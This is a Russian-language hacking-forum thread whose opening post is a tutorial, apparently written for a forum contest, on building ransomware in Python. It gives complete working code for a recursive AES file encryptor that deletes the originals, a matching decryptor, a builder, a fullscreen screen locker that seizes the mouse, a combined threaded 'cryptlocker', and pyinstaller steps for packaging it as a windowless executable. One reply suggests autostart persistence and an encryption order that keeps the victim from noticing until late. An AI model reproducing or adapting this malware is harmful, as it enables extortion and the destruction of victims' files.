• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Пишем локера-шифровальщика на Python

CypherZ

Местный
Сообщения
176
Реакции
182
0 руб.
Telegram
Jabber
Статья написана стпешиал фор влми конкурс

Алоха, вообщем сегодня я расскажу и покажу как написать небольшого шифровальщика-локера на языке программирования Python. Так же напишем билдер под него.

По традиции скачиваем питон с официального сайта ТЫК
Дальше, чтобы пользоваться функцией pip, нужно добавить ее в path. Для этого переходим в дополнительные параметры системы, параметры среды, ищем строчку path, клацаем изменить и в конце через точку с запятой добавляем путь к папке с питоном и папке skripts которая лежит в папке питона
upload_2018-6-13_10-59-27.png

C:\Users\Имя пользователя\AppData\Local\Programs\Python\Python36-32;C:\Users\Имя пользователя\AppData\Local\Programs\Python\Python36-32\Scripts

Наш шифровальщик будет шифровать по стандартному алгоритму AES (с отдельным ключом естесна)
Вообще можно наляпать туда множество плюшек типа, обфускации, шифрования данных по трем алгоритмам, запуск онли на юса машинах и так далее ( да перечитал описание к Tron'у), но я покажу лишь принцип работы и его чистый код.

Поехали
ПИШЕМ ШИФРОВАЛЬЩИК

Начнем с того что у любого шифровальщика должно быть два файла это файл который шифрует данные и файл который их дешифрует.
Начнем с файла шифровальщика

Сначала импортим модули отвечающие за шифрование и действия в системе

Код:
import pyAesCrypt
import os, sys

Далее создаем функцию которая шифрует данные
Код:
def crypt(file):
    print("---------------------------------------------------------------" )
    password="hello"
    bufferSize = 512*1024
    pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
    print("[crypted] '"+str(file)+".crp'")
    os.remove(file)
Не обращайте внимания на функции print они сделаны для украшения окна билдера.
Функция password это и есть наш ключь шифрования (сюда можно вставит любой пасс он и будет являться ключом).
Далее создаем функцию которая лазит по директориям

Код:
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir,name)
        if os.path.isfile(path): crypt(path)
        else: walk(path)
walk("C:\Users\User\Desktop\папка")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))
Эта функция лазит по директориям и чекает файлы, если это отдельный файл то она его шифрует если это папка то переходит в нее и шифрует все там.
Здесь upload_2018-6-13_11-24-56.pngважно указывать именно директорию которую нужно зашифровать а не отдельный файл иначе программа крашнется
В конце удаение файла чтобы из него нельзя было достать ключ.

Все наш шифровальщик готов, теперь нужно сделать дешифратор.


Код:
import os, sys
def decrypt(file):
    import pyAesCrypt
    print("---------------------------------------------------------------" )
    password="hello"
    bufferSize = 512*1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
    print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
    os.remove(file)
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            try: decrypt(path)
            except: pass
        else: walk(path)
walk("C:\Users\User\Desktop\папка")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))
Так же создается две функции которая дешифрует и чекает директории

ПИШЕМ БИЛДЕР ДЛЯ ШИФРОВАЛЬЩИКА
Код:
direct=input("Write the root directory: ")
password=input("Write the password: ")
print("---------------------------------------------------------------" )
with open("crypt.py","w") as crypt:
    crypt.write('''
import os, sys
def crypt(file):
    import pyAesCrypt
    print("---------------------------------------------------------------" )
    password="'''+str(password)+'''"
    bufferSize = 512*1024
    pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
    print("[crypted] '"+str(file)+".crp'")
    os.remove(file)
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path): crypt(path)
        else: walk(path)
walk("'''+str(direct)+'''")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))''')
    print("[+] File 'crypt.py' successfully saved!")
with open("key.py","w") as key:
    key.write('''
import os, sys
def decrypt(file):
    import pyAesCrypt
    print("---------------------------------------------------------------" )
    password="'''+str(password)+'''"
    bufferSize = 512*1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
    print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
    os.remove(file)
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            try: decrypt(path)
            except: pass
        else: walk(path)
walk("'''+str(direct)+'''")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))''')
    print("[+] File 'key.py' successfully saved!")
print("---------------------------------------------------------------" )

При запуске билдер запускается командная строка и вы вводите параметры которые учитываются при билде файлов( генерируется 2 файла, шифровальщик и ключ)
Оба файла сохраняются в директорию с билдером.


ПИШЕМ ЛОКЕР
Я уже видел локер на влми от
@danaforevr, мой локер будет чутка по проще)
Код:
from tkinter import Tk,Entry,label
from pyautogui import click, moveTo
from time import sleep
Импортим модули из библиотек, первый модуль нужен для создания экрана, второй для затруднения доступа к другим файлам типа cmd, диспетчер задач и т.п и так же он будет все время кликать в центр, последняя нужна для того чтобы pyautogui начал свои действия не сразу.
Далее создаем функции

Код:
def callback(event):
    global k,entry
    if entry.get()=="Lockerrr": k=True #пароль который человек должен ввести чтобы разблокировать систему
def on_closing():
    click(675, 420) #координаты кликанья мышки
    moveTo(675, 420) #координаты сдвига мышки
    root.attributes("-fullscreen",True) #создаем экран во весь монитор т.е без полей
    root.protocol("WM_DELETE_WINDOW", on_closing) #закрытие посторонних окон
    root.update()
    root.bind('<Control-KeyPress-c>', callback) #какие клавиши нужно нажать когда введешь пароль
root=Tk() # Создание окна
root.title("Locker") # Заголовочное название
root.attributes("-fullscreen",True) # Расширение под экран
entry=Entry(root,font=1) # Поле ввода
entry.place(width=150,height=50,x=600,y=400) # Координаты и размеры
label0=Label(root,text="Locker_by_CypherZ",font=1) # Надпись 1
label0.grid(row=0,column=0) # Координаты надписи 1(по колонкам как в exel)
label1=Label(root,text="Write the Password and Press Ctrl+C",font='Arial 20') # Надпись 2
label1.place(x=470,y=300) # Координаты надписи 2
root.update(); sleep(0.2); click(675, 420) # Обновление экрана программы
k=False
while k!=True: on_closing()
окно локера
upload_2018-6-13_12-15-23.png
Вот и все наш карманный локер готов, теперь нам надо совместить локер и шифровалльщик.
Наша программа будет действовать по очередности то есть сначала запустится локер а под ним будет работать шифровальщик.
(это уже билдер т.к отдельно писать локер-шифровальщик а потом добавит в него пару строк кода чтобы превратить его в билдер - бессмысленно, только лишний текст)

Код:
direct=input("Write the root directory for crypt: ") #пишем директорию для шифрования
password=input("Write the password for crypter: ") #пишем пароль для шифровальщика
pasw=input("Write the password for locker: ") #пишем пароль для локера
with open("cryptlocker.py","w") as crypt:
    crypt.write('''
import os, sys, pyAesCrypt
from threading import *
from pyautogui import click, moveTo
from tkinter import Tk,Entry,Label
from time import sleep
def locker():
    def callback(event):
        global k,entry
        if entry.get()=="'''+str(pasw)+'''": k=True
    def block(void):
        click(675, 420)
        moveTo(675, 420)
        root.attributes("-fullscreen",True)
        root.protocol("WM_DELETE_WINDOW", block)
        root.update()
        root.bind('<Control-KeyPress-c>', callback)
    global k,entry
    root = Tk()
    root.title("Locker")
    root.attributes("-fullscreen",True)
    entry = Entry(root,font=1)
    label0=Label(root,text="Locker_by_#571",font=1)
    label0.grid(row=0,column=0)
    label1=Label(root,text="Write the Password and Press Ctrl+C",font='Arial 20')
    label1.place(x=470,y=300)
    entry.place(width=150,height=50,x=600,y=400)
    root.update(); sleep(0.2)
    click(675, 420)
    k=False
    while k!=True: block(None)
def crypter():
    def crypt(file):
        password="'''+str(password)+'''"
        bufferSize = 512*1024
        pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
        print("[crypted] '"+str(file)+".crp'")
        os.remove(file)
    def walk(dir):
        for name in os.listdir(dir):
            path = os.path.join(dir, name)
            if os.path.isfile(path): crypt(path)
            else: walk(path)
    walk("'''+str(direct)+'''")
    os.remove(str(sys.argv[0]))
thread_1 = Thread(target=locker)    #Эти функции говорят чтобы сначала запускался локер а потом шифровальщик
thread_2 = Thread(target=crypter)  #
thread_1.start(); thread_2.start()    #
thread_1.join(); thread_2.join()      #
''')
    print("[+] File 'cryptlocker.py' successfully saved!")
with open("key.py","w") as key:
    key.write('''
import os, sys
def decrypt(file):
    import pyAesCrypt
    password="'''+str(password)+'''"
    bufferSize = 512*1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
    print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
    os.remove(file)
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            try: decrypt(path)
            except: pass
        else: walk(path)
walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))
''')
    print("[+] File 'key.py' successfully saved!")
В конце концов создается два файла criptlocker.py и key.py оба удаляются после первого использования


КОМПИЛЯЦИЯ
Компилить можно через pyinstaller, py2exe, cxFreeze. Самый удобный по моему это pyinstaller, будем компилить через него.

Код:
pip install pyinstaller
Открываем cmd в папке с файлами и прописываем так для любого файла
Код:
pyinstaller -i названиеиконки.ico -F -w названиефайла.py
-i - параметр задающий иконку
-F - параметр собирающий все в один бинарник
-w - параметр указывающий на закрытие командной строки при запуске бинарника
(все файлы с которыми вы будете работать при компиляции должны лежать в одной паке)


Вот и все, мы написали наш locker-шифровальщик.
 

ims0rry

Omae wa mou shindeiru

ims0rry

Omae wa mou shindeiru
Местный
Сообщения
119
Реакции
679
0 руб.
Jabber
Please note, if you want to make a deal with this user, that it is blocked.

zHd4

Местный
Сообщения
107
Реакции
82
0 руб.
Telegram
Последнее редактирование модератором:

LYKTRACE

Участник
Сообщения
8
Реакции
6
0 руб.
При запуске локера шарящий автоматом нажмет Reset, зайдет в безопасный режим и грохет прогу. Как по мне, стоит реализовать отложенный запуск, например загнать в автозагрузку, и при перезапуске включить шифровальщик. Как только все диски будут зашифрованы, то переходить на диск С. Локер показать после шифрования данных в Users(документы, загрузки (но не десктоп данные, их в последнюю очередь и после показа баннера)). Это произойдет незаметно и в итоге у юзера большая часть данных будет зашифрована. + Стоит создать механизм деления больших файлов на несколько небольших отсеков и их шифрование.(да я знаю что я очень своевременно это пишу)
 

CypherZ

Местный
Сообщения
176
Реакции
182
0 руб.
Telegram
Jabber
При запуске локера шарящий автоматом нажмет Reset, зайдет в безопасный режим и грохет прогу. Как по мне, стоит реализовать отложенный запуск, например загнать в автозагрузку, и при перезапуске включить шифровальщик. Как только все диски будут зашифрованы, то переходить на диск С. Локер показать после шифрования данных в Users(документы, загрузки (но не десктоп данные, их в последнюю очередь и после показа баннера)). Это произойдет незаметно и в итоге у юзера большая часть данных будет зашифрована. + Стоит создать механизм деления больших файлов на несколько небольших отсеков и их шифрование.(да я знаю что я очень своевременно это пишу)
Да пожалуйста, можно сделать все что угодно только питон для написания подобных программ не очень подходит, так как вес конечного билда большой. А так я лишь показал простой пример без всяких лишних плюшек
 

JRD

Местный
Сообщения
38
Реакции
65
0 руб.
Telegram
Статья может и авторская, но вот код из этого видео
Да разницы нет большой, некоторым просто легче усваиваеть информасин в текстовом виде, да и тут код можно легко и приятно смотреть. Не вижу ничего плохого в адаптации видео в текст
 
Сверху Снизу